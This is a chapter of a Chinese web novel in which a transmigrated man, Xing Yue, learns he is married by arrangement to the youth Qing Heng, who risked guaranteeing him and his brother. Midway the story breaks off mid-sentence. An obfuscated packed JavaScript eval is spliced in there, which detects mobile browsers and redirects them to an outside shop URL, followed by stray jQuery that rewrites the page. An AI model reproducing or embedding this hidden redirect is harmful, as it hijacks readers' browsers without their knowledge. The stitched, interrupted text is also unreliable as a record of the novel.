邢越的反应是情不自禁一句“卧槽!”脱口而出。
震惊的眼珠子都快脱出框了。
青珩正蹲在床头,等着他反应,瞬间脑袋发懵:“什么?”
这是在说什么,他怎么没听懂呢?
不像官话,也不像西州话,“卧槽”到底是什么?
他扭头看邢召,邢召也是一脸好奇,明显没明白。
青珩只好重新看向邢越,用官话重复问道:“什么意思?”
邢越惊得差点儿暴露本体,此时回神,赶紧摇头,表示什么都没说过。
他这一个穿越,真是一波未平一波又起。
先是全族消消乐大礼包,现在是包办婚姻大礼包,如果对象是个正常人也行,可以磨合磨合,他不是不能接受先婚后爱。
可偏偏对象是个毛头小子。
最重要的是,看着还没成年。
老天这是在开什么玩笑,玩他么?
真的是。
邢越忍不住又摇头。
青珩等他反应,却见他头摇了一次又一次,不由狐疑:“你在嫌弃我?”
他登时大怒:“我还没嫌弃你呢,你嫌弃我!”
邢越:“……”
虽然听不明白,但对方猛地站起身,声音突然变大,肯定是生气了。
况且,青珩脸上真的有愤怒和委屈闪过。
他确实生气了。
而青珩看他表情一瞬又懵又茫然,停顿了片刻,瞬间泄气。
这人又听不懂话,吼他有什么用,给鬼听么?
青珩深吸一口气,又猛地吐出。
算了!
包容他这个脑子有问题的人吧。
清泉法师都说,他发烧是小事,后脑勺磕得太狠,伤势重又一路未医治,也不知怎么坚持到西州的,表面上看他还活着,实际问题很严重,可能会有损伤,失忆或者忘记一些技能。
再想一想,这人失忆状态,也未必记得一些常识,还是原谅他吧。
毕竟,人不能和傻子计较。
青珩抹了一把脸,想着他虽然说话不行,但还认识字,干脆把其他文书都拿出来,放他手上:“你先看看吧。”
然后一转身回了自己的床铺,手指挠了挠脸,躺在床上开始计划。
要再等等,等一点点教会他,教会他之后,再在他面前生一次大气。
哼哼!
到时候,一定要让他知道自己生气很可怕,吓死他。
青珩脑中这么胡乱一想,心里瞬间好受多了。
然后开始联想,以后要怎么吓他,越想越舒服,没一会儿,就嘿嘿笑了一声,心情瞬间美滋滋了。
而邢越这边则一脑袋问号。
刚刚他绞尽脑汁,一直回想曾经在网络上见到的帖子,想判断一下怎么回事儿,然后看有没有什么办法哄哄这家伙。
结果,不过眨眼功夫,他还没找到法子,就亲眼看着这家伙脸色阴转晴,自己把自己哄好了。
邢越:“……”
真是叹为观止。
深感佩服。
然后这俩人,就语言和脑瓜子全没对上过哪怕一段,就自己给自己玩和解了。
气氛慢慢就在窸窸窣窣的纸张摩擦声中松快下来。
青珩在床上躺着躺着,目光就不由得跟随声音,瞥向灯光下认真看文书的兄弟俩。
检查身体的时候,清泉法师用湿布给他们抹了抹脸,此时脸蛋是干净的。
还别说,昏黄的灯光下,靠着床头,怀里抱着稚子,认真看书的白净俊秀郎君,哪怕头上绑着白色药布,头发乱糟,身处简陋之室,身上也确实有一股特殊的气质——沉静温和之气。
青珩承认,确实挺吸引人的。
那好像,人家也确实有嫌弃他的理由,他是一点文墨都不通。
好吧,青珩挠了挠脸颊,和解了。
嫌弃就嫌弃吧,理由正当没什么。
他自己不嫌弃自己就好啦。
他从来都觉得自己超级好的。
邢越这边,繁体字会写的少,单独认某个生僻字,他可能会有些困难,但繁体字连成一句话,就是再生僻,他都没什么阅读障碍。
只是几份文书看完,他越看越心惊。
也才知道为什么生病了,官府把他们扔到班房院子里,都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255778|197998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没人理他们,生怕沾染上他们,而青珩保他们外出看病,冒着怎样的风险。
他们要是看病期间逃跑、自伤、偷窃、伤人亦或者违反任何条章,连累官府,保人都得承担一切责任,轻则赔钱,重则杖刑或流放。
他和邢召到达交河县,已经浑身赤条条,不像别的流犯身上还多少带着些家人塞的衣服和银钱,可以出钱或者出物求人作保,他们身上是除了一身伤,一丝半点儿值钱的玩意儿都没有。
这样的情况,谁敢毫无收益的冒着大风险去保他们?
而青珩……
邢越忍不住去看隔壁床的少年。
对方被子搭在身上,手掌放在脑袋边,双眼紧闭,嘴巴微张,已然呼呼大睡。
邢越:“……”
这家伙,睡眠可真好。不过眨个眼的功夫,就自己睡着了。
也不怕他们偷偷跑了。
邢越嘴角微抽。
他低下头,看怀里的邢召。
好吧,头一点一点的小鸡啄米,也睡着了。
邢越把邢召从怀里抱出来,放到旁边,摆好他的小手小脚,让他睡得舒服些。
重新抻好被子,邢越又把注意力放到了文书上。
每一卷文书下面都有待他签名或者画指的地方,也有青珩已画的三指长的指印签。
不止是看病作保,还有养邢召的申请,帮他以资代役一个月的申请,探望他的申请……
邢越不知道青珩为何会不求收益的作保,是不是认识原主。
也不知道若是得知原主已死,青珩会不会后悔这些付出,甚至伤心失望。
邢越无心欺骗青珩的感情,但穿越的事他大概一辈子都不会和任何人说。
这时代,他不懂语言,不懂风俗,不懂思想,只能选择先谨慎的活下去,慢慢的摸索。
而他也会待青珩好,不管青珩认不认识原主,是不是看在原主面子上才帮的忙,亦或者单纯是善良、侠义心肠,仅雪中送炭,冒着风险都要救他们,就值得他和邢召一辈子感恩,好好待他。
邢越捏了捏婚书。
无论如何,都希望青珩在这里面不会受伤。